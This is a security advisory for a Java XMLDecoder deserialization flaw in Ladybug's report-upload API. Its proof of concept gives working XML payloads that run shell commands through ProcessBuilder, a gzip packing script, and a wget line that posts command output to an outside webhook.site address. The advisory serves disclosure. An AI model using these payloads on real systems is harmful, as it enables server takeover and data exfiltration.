Summary

XMLDecoder Deserialization Vulnerability (Java RCE) in Ladybug < 3.0-20251107.114628

Details

frankframework uses Ladybug provided by wearefrank, which is an add-in to frankframework.

The APIs /iaf/ladybug/api/report/{storage} and /iaf/ladybug/api/report/upload allow uploading gzip-compressed XML files with user-controllable content. The system deserializes these XML files, enabling attackers to achieve Remote Code Execution (RCE) by submitting carefully crafted XML payloads and thereby gain access to the target server.

PoC

1. The XML content is as follows:

<java version="21.0.8" class="java.beans.XMLDecoder">
    <new class="java.lang.ProcessBuilder">
        <string>/bin/sh</string>
        <string>-c</string>
        <string>whoami > /tmp/1</string>
        <object method="start">
        </object>
    </new>
 </object>
</java>

Compressed into a .ttr file using gzip.

import gzip

def gzip_compress(data: bytes) -> bytes:
    return gzip.compress(data)

text = open("vuln5.xml", "r").read()
compressed = gzip_compress(text.encode('utf-8'))
with open("vuln5.ttr", "wb") as f:
    f.write(compressed)

2. On the Testing > Ladybug page, click Upload to upload the .ttr file.

3. Then pass the response content to webhook.site. Upload Again.

<java version="21.0.8" class="java.beans.XMLDecoder">
    <new class="java.lang.ProcessBuilder">
        <string>/bin/sh</string>
        <string>-c</string>
        <string>wget --post-file &#47;tmp&#47;1 https&#58;&#47;&#47;webhook&#46;site&#47;1545711f-2ac7-48d4-b919-09a605d4194e</string>
        <object method="start">
        </object>
    </new>
 </object>
</java>

4. It can receive the results of command execution from the target server.

Impact

Affected Version: Ladybug < 3.0-20251107.114628

Vendor: wearefrank

Software: Ladybug

Vulnerability Files:

• src/main/java/nl/nn/testtool/util/Import.java